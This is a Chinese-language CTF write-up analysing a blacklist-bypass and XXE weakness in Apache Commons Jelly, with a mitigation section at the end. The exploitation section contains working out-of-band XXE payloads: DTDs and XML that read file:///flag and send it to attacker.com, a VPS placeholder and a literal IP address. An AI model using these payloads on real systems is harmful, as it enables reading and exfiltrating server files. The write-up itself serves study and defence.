Apache Commons Jelly漏洞分析
字数 708 2025-08-22 12:22:42
Apache Commons Jelly漏洞分析与利用指南
一、Apache Commons Jelly简介
Apache Commons Jelly是一种将XML转换为可执行代码的工具,是一个基于Java和XML的脚本和处理引擎。主要特点包括:
- 作为Ant、Maven等构建工具的前端
- 用于JellyUnit等测试框架
- 用于集成或工作流系统
- 作为Cocoon等引擎内的页面模板系统
基本使用示例
pom.xml依赖配置:
<dependency>
<groupId>commons-jelly</groupId>
<artifactId>commons-jelly</artifactId>
<version>1.0.1</version>
</dependency>
Jelly脚本示例:
<document time="${now}">
Welcome ${user.name} to Jelly!
</document>
Jelly模板示例:
<?xml version="1.0"?>
<j:jelly trim="false" xmlns:j="jelly:core" xmlns:x="jelly:xml" xmlns:html="jelly:html">
<html>
<head>
<title>${name}'s Page</title>
</head>
<body bgcolor="${background}" text="#FFFFFF">
<h1>${name}'s Homepage</h1>
<h2>My Hobbies</h2>
<ul>
<j:forEach items="${hobbies}" var="i">
<li>${i}</li>
</j:forEach>
</ul>
</body>
</html>
</j:jelly>
二、漏洞分析
1. 题目源码分析
题目提供了一个Spring Boot控制器,主要功能是解析Jelly脚本:
@Controller
public class IndexController {
private static Boolean check(String uri) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
Document doc = dbf.newDocumentBuilder().parse(uri);
// 黑名单检查
int tag1 = doc.getElementsByTagNameNS("*", "expr").getLength();
int tag2 = doc.getElementsByTagNameNS("*", "import").getLength();
int tag3 = doc.getElementsByTagNameNS("*", "include").getLength();
int tag4 = doc.getElementsByTagNameNS("*", "invoke").getLength();
int tag5 = doc.getElementsByTagNameNS("*", "invokeStatic").getLength();
int tag6 = doc.getElementsByTagNameNS("*", "new").getLength();
int tag7 = doc.getElementsByTagNameNS("*", "parse").getLength();
int tag8 = doc.getElementsByTagNameNS("*", "set").getLength();
int tag9 = doc.getElementsByTagNameNS("*", "setProperties").getLength();
int tag10 = doc.getElementsByTagNameNS("*", "out").getLength();
int tag11 = doc.getElementsByTagNameNS("*", "useBean").getLength();
if (tag1 > 0 || tag2 > 0 || tag3 > 0 || tag4 > 0 || tag5 > 0 ||
tag6 > 0 || tag7 > 0 || tag8 > 0 || tag9 > 0 || tag10 > 0 || tag11 > 0) {
return false;
}
return true;
}
@RequestMapping({"/jelly"})
@ResponseBody
public String Jelly(@RequestParam(required = true) String uri) {
try {
if (!check(uri).booleanValue()) {
return "no way :(";
}
JellyContext context = new JellyContext();
context.compileScript(uri).run(context, XMLOutput.createXMLOutput(System.out));
return "Tasty Jelly :)";
} catch (Exception e) {
return "no way :(";
}
}
}
2. 漏洞点分析
- 黑名单绕过:虽然代码检查了11个危险标签,但未检查
file标签 - XXE漏洞:Apache Commons Jelly 1.0版本存在XXE漏洞
三、漏洞利用方法
1. 文件写入尝试(失败)
尝试使用j:out标签写入文件:
<?xml version="1.0" encoding="UTF-8"?>
<j:jelly xmlns:j="jelly">
<j:out name="output.xml">
<j:content>
This is the content that will be written to the file.
</j:content>
</j:out>
</j:jelly>
但实际测试发现无法覆盖jar包。
2. XXE漏洞利用
利用XXE漏洞进行数据外带:
- 准备恶意DTD文件(放置在攻击者服务器上):
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx/xxe.php?q=%file;'>">
%all;
或
<!ENTITY % exp "<!ENTITY % data SYSTEM 'http://vps-ip:2333/?%file;'>">
%exp;
- 启动HTTP服务:
python -m http.server 2333
- 构造恶意XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "http://attacker.com/pd.dtd">
%dtd;
%send;
]>
<root></root>
或
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "http://124.220.37.173/a.dtd">
%dtd;
%data;
]>
<root></root>
四、防御措施
- 升级版本:使用最新版本的Apache Commons Jelly
- 禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - 完善黑名单:增加对
file等危险标签的检查 - 输入验证:对用户输入的URI进行严格验证
五、总结
Apache Commons Jelly在处理XML时存在XXE漏洞,攻击者可以通过构造恶意XML文件读取服务器上的敏感文件。防御的关键在于禁用外部实体解析、完善输入验证和使用最新版本库。